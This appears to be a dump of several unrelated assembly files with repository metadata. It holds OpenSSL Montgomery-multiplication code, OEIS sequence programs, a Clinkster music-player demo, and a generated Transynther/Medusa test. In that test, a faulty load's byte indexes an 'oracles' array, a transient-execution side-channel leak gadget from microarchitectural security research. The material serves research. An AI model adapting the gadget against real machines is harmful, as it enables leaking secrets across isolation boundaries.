imul r8,QWORD PTR[24+rsp]
xor ebp,ebp
mulx r14,rax,QWORD PTR[24+rsi]
mov rdx,r8
adox r12,QWORD PTR[((-16))+rbx]
adcx r13,rax
adox r13,QWORD PTR[((-8))+rbx]
adcx r14,rbp
lea rsi,QWORD PTR[32+rsi]
adox r14,rbp
mulx r10,rax,QWORD PTR[rcx]
adcx r15,rax
adox r10,r11
mulx r11,rax,QWORD PTR[8+rcx]
adcx r10,rax
adox r11,r12
mulx r12,rax,QWORD PTR[16+rcx]
mov QWORD PTR[((-32))+rbx],r10
adcx r11,rax
adox r12,r13
mulx r15,rax,QWORD PTR[24+rcx]
mov rdx,r9
mov QWORD PTR[((-24))+rbx],r11
lea rcx,QWORD PTR[32+rcx]
adcx r12,rax
adox r15,rbp
mov rdi,QWORD PTR[48+rsp]
mov QWORD PTR[((-16))+rbx],r12
jmp $L$mulx4x_inner
ALIGN 32
$L$mulx4x_inner::
mulx rax,r10,QWORD PTR[rsi]
adcx r15,rbp
adox r10,r14
mulx r14,r11,QWORD PTR[8+rsi]
adcx r10,QWORD PTR[rbx]
adox r11,rax
mulx rax,r12,QWORD PTR[16+rsi]
adcx r11,QWORD PTR[8+rbx]
adox r12,r14
mulx r14,r13,QWORD PTR[24+rsi]
mov rdx,r8
adcx r12,QWORD PTR[16+rbx]
adox r13,rax
adcx r13,QWORD PTR[24+rbx]
adox r14,rbp
lea rsi,QWORD PTR[32+rsi]
lea rbx,QWORD PTR[32+rbx]
adcx r14,rbp
adox r10,r15
mulx r15,rax,QWORD PTR[rcx]
adcx r10,rax
adox r11,r15
mulx r15,rax,QWORD PTR[8+rcx]
adcx r11,rax
adox r12,r15
mulx r15,rax,QWORD PTR[16+rcx]
mov QWORD PTR[((-40))+rbx],r10
adcx r12,rax
adox r13,r15
mulx r15,rax,QWORD PTR[24+rcx]
mov rdx,r9
mov QWORD PTR[((-32))+rbx],r11
mov QWORD PTR[((-24))+rbx],r12
adcx r13,rax
adox r15,rbp
lea rcx,QWORD PTR[32+rcx]
mov QWORD PTR[((-16))+rbx],r13
dec rdi
jnz $L$mulx4x_inner
mov rax,QWORD PTR[rsp]
mov rdi,QWORD PTR[8+rsp]
adc r15,rbp
sub rbp,QWORD PTR[rbx]
adc r14,r15
mov r8,QWORD PTR[((-8))+rcx]
sbb r15,r15
mov QWORD PTR[((-8))+rbx],r14
cmp rdi,QWORD PTR[16+rsp]
jne $L$mulx4x_outer
sub r8,r14
sbb r8,r8
or r15,r8
neg rax
xor rdx,rdx
mov rdi,QWORD PTR[32+rsp]
lea rbx,QWORD PTR[64+rsp]
pxor xmm0,xmm0
mov r8,QWORD PTR[rax*1+rcx]
mov r9,QWORD PTR[8+rax*1+rcx]
neg r8
jmp $L$mulx4x_sub_entry
ALIGN 32
$L$mulx4x_sub::
mov r8,QWORD PTR[rax*1+rcx]
mov r9,QWORD PTR[8+rax*1+rcx]
not r8
$L$mulx4x_sub_entry::
mov r10,QWORD PTR[16+rax*1+rcx]
not r9
and r8,r15
mov r11,QWORD PTR[24+rax*1+rcx]
not r10
and r9,r15
not r11
and r10,r15
and r11,r15
neg rdx
adc r8,QWORD PTR[rbx]
adc r9,QWORD PTR[8+rbx]
movdqa XMMWORD PTR[rbx],xmm0
adc r10,QWORD PTR[16+rbx]
adc r11,QWORD PTR[24+rbx]
movdqa XMMWORD PTR[16+rbx],xmm0
lea rbx,QWORD PTR[32+rbx]
sbb rdx,rdx
mov QWORD PTR[rdi],r8
mov QWORD PTR[8+rdi],r9
mov QWORD PTR[16+rdi],r10
mov QWORD PTR[24+rdi],r11
lea rdi,QWORD PTR[32+rdi]
add rax,32
jnz $L$mulx4x_sub
mov rsi,QWORD PTR[40+rsp]
mov rax,1
mov r15,QWORD PTR[((-48))+rsi]
mov r14,QWORD PTR[((-40))+rsi]
mov r13,QWORD PTR[((-32))+rsi]
mov r12,QWORD PTR[((-24))+rsi]
mov rbp,QWORD PTR[((-16))+rsi]
mov rbx,QWORD PTR[((-8))+rsi]
lea rsp,QWORD PTR[rsi]
$L$mulx4x_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_mulx4x_mont::
bn_mulx4x_mont ENDP
DB 77,111,110,116,103,111,109,101,114,121,32,77,117,108,116,105
DB 112,108,105,99,97,116,105,111,110,32,102,111,114,32,120,56
DB 54,95,54,52,44,32,67,82,89,80,84,79,71,65,77,83
DB 32,98,121,32,60,97,112,112,114,111,64,111,112,101,110,115
DB 115,108,46,111,114,103,62,0
ALIGN 16
EXTERN __imp_RtlVirtualUnwind:NEAR
ALIGN 16
mul_handler PROC PRIVATE
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD PTR[120+r8]
mov rbx,QWORD PTR[248+r8]
mov rsi,QWORD PTR[8+r9]
mov r11,QWORD PTR[56+r9]
mov r10d,DWORD PTR[r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jb $L$common_seh_tail
mov rax,QWORD PTR[152+r8]
mov r10d,DWORD PTR[4+r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jae $L$common_seh_tail
mov r10,QWORD PTR[192+r8]
mov rax,QWORD PTR[8+r10*8+rax]
lea rax,QWORD PTR[48+rax]
mov rbx,QWORD PTR[((-8))+rax]
mov rbp,QWORD PTR[((-16))+rax]
mov r12,QWORD PTR[((-24))+rax]
mov r13,QWORD PTR[((-32))+rax]
mov r14,QWORD PTR[((-40))+rax]
mov r15,QWORD PTR[((-48))+rax]
mov QWORD PTR[144+r8],rbx
mov QWORD PTR[160+r8],rbp
mov QWORD PTR[216+r8],r12
mov QWORD PTR[224+r8],r13
mov QWORD PTR[232+r8],r14
mov QWORD PTR[240+r8],r15
jmp $L$common_seh_tail
mul_handler ENDP
ALIGN 16
sqr_handler PROC PRIVATE
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD PTR[120+r8]
mov rbx,QWORD PTR[248+r8]
mov rsi,QWORD PTR[8+r9]
mov r11,QWORD PTR[56+r9]
mov r10d,DWORD PTR[r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jb $L$common_seh_tail
mov rax,QWORD PTR[152+r8]
mov r10d,DWORD PTR[4+r11]
lea r10,QWORD PTR[r10*1+rsi]
cmp rbx,r10
jae $L$common_seh_tail
mov rax,QWORD PTR[40+rax]
mov rbx,QWORD PTR[((-8))+rax]
mov rbp,QWORD PTR[((-16))+rax]
mov r12,QWORD PTR[((-24))+rax]
mov r13,QWORD PTR[((-32))+rax]
mov r14,QWORD PTR[((-40))+rax]
mov r15,QWORD PTR[((-48))+rax]
mov QWORD PTR[144+r8],rbx
mov QWORD PTR[160+r8],rbp
mov QWORD PTR[216+r8],r12
mov QWORD PTR[224+r8],r13
mov QWORD PTR[232+r8],r14
mov QWORD PTR[240+r8],r15
$L$common_seh_tail::
mov rdi,QWORD PTR[8+rax]
mov rsi,QWORD PTR[16+rax]
mov QWORD PTR[152+r8],rax
mov QWORD PTR[168+r8],rsi
mov QWORD PTR[176+r8],rdi
mov rdi,QWORD PTR[40+r9]
mov rsi,r8
mov ecx,154
DD 0a548f3fch
mov rsi,r9
xor rcx,rcx
mov rdx,QWORD PTR[8+rsi]
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[16+rsi]
mov r10,QWORD PTR[40+rsi]
lea r11,QWORD PTR[56+rsi]
lea r12,QWORD PTR[24+rsi]
mov QWORD PTR[32+rsp],r10
mov QWORD PTR[40+rsp],r11
mov QWORD PTR[48+rsp],r12
mov QWORD PTR[56+rsp],rcx
call QWORD PTR[__imp_RtlVirtualUnwind]
mov eax,1
add rsp,64
popfq
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop rdi
pop rsi
DB 0F3h,0C3h ;repret
sqr_handler ENDP
.text$ ENDS
.pdata SEGMENT READONLY ALIGN(4)
ALIGN 4
DD imagerel $L$SEH_begin_bn_mul_mont
DD imagerel $L$SEH_end_bn_mul_mont
DD imagerel $L$SEH_info_bn_mul_mont
DD imagerel $L$SEH_begin_bn_mul4x_mont
DD imagerel $L$SEH_end_bn_mul4x_mont
DD imagerel $L$SEH_info_bn_mul4x_mont
DD imagerel $L$SEH_begin_bn_sqr8x_mont
DD imagerel $L$SEH_end_bn_sqr8x_mont
DD imagerel $L$SEH_info_bn_sqr8x_mont
DD imagerel $L$SEH_begin_bn_mulx4x_mont
DD imagerel $L$SEH_end_bn_mulx4x_mont
DD imagerel $L$SEH_info_bn_mulx4x_mont
.pdata ENDS
.xdata SEGMENT READONLY ALIGN(8)
ALIGN 8
$L$SEH_info_bn_mul_mont::
DB 9,0,0,0
DD imagerel mul_handler
DD imagerel $L$mul_body,imagerel $L$mul_epilogue
$L$SEH_info_bn_mul4x_mont::
DB 9,0,0,0
DD imagerel mul_handler
DD imagerel $L$mul4x_body,imagerel $L$mul4x_epilogue
$L$SEH_info_bn_sqr8x_mont::
DB 9,0,0,0
DD imagerel sqr_handler
DD imagerel $L$sqr8x_body,imagerel $L$sqr8x_epilogue
$L$SEH_info_bn_mulx4x_mont::
DB 9,0,0,0
DD imagerel sqr_handler
DD imagerel $L$mulx4x_body,imagerel $L$mulx4x_epilogue
.xdata ENDS
END
| 17.733077
| 63
| 0.691277
|
c9b8efeba45317171c53e9858ef502b6dcf1acee
| 712
|
asm
|
Assembly
|
programs/oeis/319/A319006.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/319/A319006.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/319/A319006.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A319006: Sum of the next n positive integers repeated (A008619).
; 1,3,8,18,34,57,89,132,187,255,338,438,556,693,851,1032,1237,1467,1724,2010,2326,2673,3053,3468,3919,4407,4934,5502,6112,6765,7463,8208,9001,9843,10736,11682,12682,13737,14849,16020,17251,18543,19898,21318,22804,24357,25979,27672,29437,31275,33188,35178,37246,39393,41621,43932,46327,48807,51374,54030,56776,59613,62543,65568,68689,71907,75224,78642,82162,85785,89513,93348,97291,101343,105506,109782,114172,118677,123299,128040,132901,137883,142988,148218,153574,159057,164669,170412,176287,182295,188438,194718,201136,207693,214391,221232,228217,235347,242624,250050
add $0,1
mov $2,$0
pow $0,2
add $0,2
mul $0,$2
sub $0,2
div $0,4
add $0,1
| 59.333333
| 569
| 0.785112
|
e823cef4cde5167f2110610231c55feb026ab4bb
| 1,980
|
asm
|
Assembly
|
Outside/clinkster/src/play.asm
|
in4k/SailingBeyond
|
862a01efd3408aa6d47144f64b8a3332a9c0aa38
|
[
"MIT"
] | 1
|
2019-10-31T19:30:52.000Z
|
2019-10-31T19:30:52.000Z
|
Outside/clinkster/src/play.asm
|
in4k/SailingBeyond
|
862a01efd3408aa6d47144f64b8a3332a9c0aa38
|
[
"MIT"
] | null | null | null |
Outside/clinkster/src/play.asm
|
in4k/SailingBeyond
|
862a01efd3408aa6d47144f64b8a3332a9c0aa38
|
[
"MIT"
] | null | null | null |
%include "src/clinkster.inc"
global _main
extern __imp__fopen
extern __imp__fwrite
extern __imp__fclose
extern __imp__printf
extern __imp__GetAsyncKeyState@4
extern __imp__ExitProcess@4
extern __imp__Sleep@4
section main text align=1
_main:
push message
push messageformat
call [__imp__printf]
add esp, byte 2*4
call Clinkster_GenerateMusic
%ifdef WRITE_WAV
push wavname
push wavformat
call [__imp__printf]
add esp, byte 2*4
push filemode
push wavname
call [__imp__fopen]
add esp, byte 2*4
push eax
push eax
push eax
push byte 44
push byte 1
push Clinkster_WavFileHeader
call [__imp__fwrite]
add esp, byte 3*4
push dword [Clinkster_WavFileHeader+40]
push byte 1
push Clinkster_MusicBuffer
call [__imp__fwrite]
add esp, byte 3*4
call [__imp__fclose]
add esp, byte 1*4
%endif
call Clinkster_StartMusic
.playloop:
mov ebx, 60
fild dword [Clinkster_MusicLength]
fdiv dword [Clinkster_TicksPerSecond]
push eax
fistp dword [esp]
pop eax ; music length in seconds
xor edx, edx
div ebx
push edx
push eax
call Clinkster_GetPosition
fdiv dword [Clinkster_TicksPerSecond]
push eax
fistp dword [esp]
pop eax ; play position in seconds
xor edx, edx
div ebx
push edx
push eax
push timeformat
call [__imp__printf]
add esp, byte 5*4
push byte 100
call [__imp__Sleep@4]
push byte 27
call [__imp__GetAsyncKeyState@4]
test ax, ax
je .playloop
push byte 0
call [__imp__ExitProcess@4]
section mformat rdata align=1
messageformat:
db "%s",0
section wformat rdata align=1
wavformat:
db "Writing music to %s...",10,10,0
section wname rdata align=1
wavname:
db "music.wav",0
section wb rdata align=1
filemode:
db "wb",0
section tformat rdata align=1
timeformat:
db 13,"Playing %d:%02d / %d:%02d",0
section message rdata align=1
message:
incbin "music.txt"
db 0
| 15.84
| 41
| 0.69899
|
97bf6be75fdce9312014e7a824f8f8d85e574707
| 334
|
asm
|
Assembly
|
oeis/179/A179298.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/179/A179298.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/179/A179298.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A179298: a(n)=n^3-(n-1)^3-(n-2)^3-...-1.
; Submitted by Jon Maiga
; 1,7,18,28,25,-9,-98,-272,-567,-1025,-1694,-2628,-3887,-5537,-7650,-10304,-13583,-17577,-22382,-28100,-34839,-42713,-51842,-62352,-74375,-88049,-103518,-120932,-140447,-162225,-186434,-213248,-242847,-275417
add $0,1
mov $1,$0
pow $0,3
bin $1,2
pow $1,2
sub $0,$1
| 30.363636
| 208
| 0.631737
|
f967d575cb3edc54c9c9cc44f10b815665d442ff
| 5,598
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_577.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_577.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_577.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %rbp
push %rbx
push %rcx
push %rdx
lea addresses_UC_ht+0x15c28, %rbx
nop
add $7874, %r13
movb $0x61, (%rbx)
nop
nop
nop
nop
and %rdx, %rdx
lea addresses_A_ht+0x6828, %rbp
nop
xor %r13, %r13
mov (%rbp), %cx
add %rbp, %rbp
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %rbp
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_WT+0x1f428, %rsi
lea addresses_normal+0x1028, %rdi
and %r12, %r12
mov $83, %rcx
rep movsb
nop
cmp $1190, %rsi
// Store
lea addresses_RW+0xda8, %rsi
clflush (%rsi)
cmp %rbp, %rbp
mov $0x5152535455565758, %rdi
movq %rdi, %xmm3
vmovups %ymm3, (%rsi)
nop
nop
nop
nop
nop
inc %r12
// Store
mov $0x54716200000001bd, %r10
nop
nop
nop
and $54656, %rsi
mov $0x5152535455565758, %rdi
movq %rdi, %xmm1
vmovups %ymm1, (%r10)
nop
nop
nop
and $50961, %rcx
// Store
lea addresses_D+0x16e30, %r12
nop
nop
nop
nop
add %r13, %r13
movl $0x51525354, (%r12)
nop
nop
xor $23280, %rdi
// Store
lea addresses_WC+0x7c28, %rdi
nop
nop
add %r13, %r13
movw $0x5152, (%rdi)
nop
nop
and %rbp, %rbp
// Faulty Load
lea addresses_normal+0x10c28, %r10
nop
nop
nop
and $20042, %rdi
movb (%r10), %r13b
lea oracles, %rbp
and $0xff, %r13
shlq $12, %r13
mov (%rbp,%r13,1), %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WT'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 11}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 41.466667
| 2,999
| 0.656127
|
b1b9a49483400424d0d467c5caad3551ef6a74dc
| 986
|
asm
|
Assembly
|
programs/oeis/100/A100155.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/100/A100155.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/100/A100155.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A100155: Structured truncated octahedral numbers.
; 1,24,103,272,565,1016,1659,2528,3657,5080,6831,8944,11453,14392,17795,21696,26129,31128,36727,42960,49861,57464,65803,74912,84825,95576,107199,119728,133197,147640,163091,179584,197153,215832,235655,256656,278869,302328,327067,353120,380521,409304,439503,471152,504285,538936,575139,612928,652337,693400,736151,780624,826853,874872,924715,976416,1030009,1085528,1143007,1202480,1263981,1327544,1393203,1460992,1530945,1603096,1677479,1754128,1833077,1914360,1998011,2084064,2172553,2263512,2356975,2452976,2551549,2652728,2756547,2863040,2972241,3084184,3198903,3316432,3436805,3560056,3686219,3815328,3947417,4082520,4220671,4361904,4506253,4653752,4804435,4958336,5115489,5275928,5439687,5606800
mov $1,1
mov $2,$0
mul $2,2
mov $6,$0
lpb $2
add $1,1
add $1,$4
add $4,$2
sub $2,1
add $4,4
lpe
mov $3,$6
mul $3,9
add $1,$3
mov $5,$6
mul $5,$6
mov $3,$5
mul $3,3
add $1,$3
mul $5,$6
mov $3,$5
mul $3,3
add $1,$3
mov $0,$1
| 35.214286
| 699
| 0.768763
|
5238712d9d99ae7a2e435eb3b12e404cd2254e52
| 857
|
asm
|
Assembly
|
programs/oeis/156/A156660.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/156/A156660.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/156/A156660.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A156660: Characteristic function of Sophie Germain primes.
; 0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0
mov $5,$0
mov $7,2
lpb $7,1
clr $0,5
mov $0,$5
sub $7,1
add $0,$7
sub $0,2
cal $0,156874 ; Number of Sophie Germain primes <= n.
sub $0,9
add $4,9
add $4,$0
mov $1,$4
mov $8,$7
lpb $8,1
mov $6,$1
sub $8,1
lpe
lpe
lpb $5,1
mov $5,0
sub $6,$1
lpe
mov $1,$6
| 30.607143
| 501
| 0.521587
|
d9413cefdc170b5b3e388727852bf7f532ee5e8f
| 566
|
asm
|
Assembly
|
oeis/221/A221906.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/221/A221906.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/221/A221906.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A221906: 4^n + 4*n.
; 1,8,24,76,272,1044,4120,16412,65568,262180,1048616,4194348,16777264,67108916,268435512,1073741884,4294967360,17179869252,68719476808,274877907020,1099511627856,4398046511188,17592186044504,70368744177756,281474976710752,1125899906842724,4503599627370600,18014398509482092,72057594037928048,288230376151711860,1152921504606847096,4611686018427388028,18446744073709551744,73786976294838206596,295147905179352825992,1180591620717411303564,4722366482869645213840,18889465931478580854932
mov $1,4
pow $1,$0
mov $2,4
mul $2,$0
add $1,$2
mov $0,$1
| 56.6
| 484
| 0.858657
|
312145d2afb44a5c8da2a47a10e01efcfeb958f4
| 197
|
asm
|
Assembly
|
src/stars/tests/tests/floatInstrs/comp_test.asm
|
kevintmcdonnell/stars
|
ce0df570c546a8490ef4f9ceeb84c8e1132b2791
|
[
"MIT"
] | 9
|
2020-11-05T21:26:09.000Z
|
2022-03-04T15:24:40.000Z
|
src/stars/tests/tests/floatInstrs/comp_test.asm
|
kevintmcdonnell/stars
|
ce0df570c546a8490ef4f9ceeb84c8e1132b2791
|
[
"MIT"
] | 7
|
2020-11-06T15:59:40.000Z
|
2021-08-31T16:36:43.000Z
|
src/stars/tests/tests/floatInstrs/comp_test.asm
|
kevintmcdonnell/stars
|
ce0df570c546a8490ef4f9ceeb84c8e1132b2791
|
[
"MIT"
] | 1
|
2021-07-13T21:55:02.000Z
|
2021-07-13T21:55:02.000Z
|
.data
c: .float 4.20
d: .float 42.0
.text
main:
la $t0, c
l.s $f0, 0($t0)
la $t0, d
l.s $f1, 0($t0)
c.le.s $f0, $f1
bc1t branch
li $a0, 0
li $v0, 1
syscall
branch:
li $a0, 1
li $v0, 1
syscall
| 8.208333
| 15
| 0.568528
|
fffd47bace14f787df29964514983b0783b6fa4f
| 6,886
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1095.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1095.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
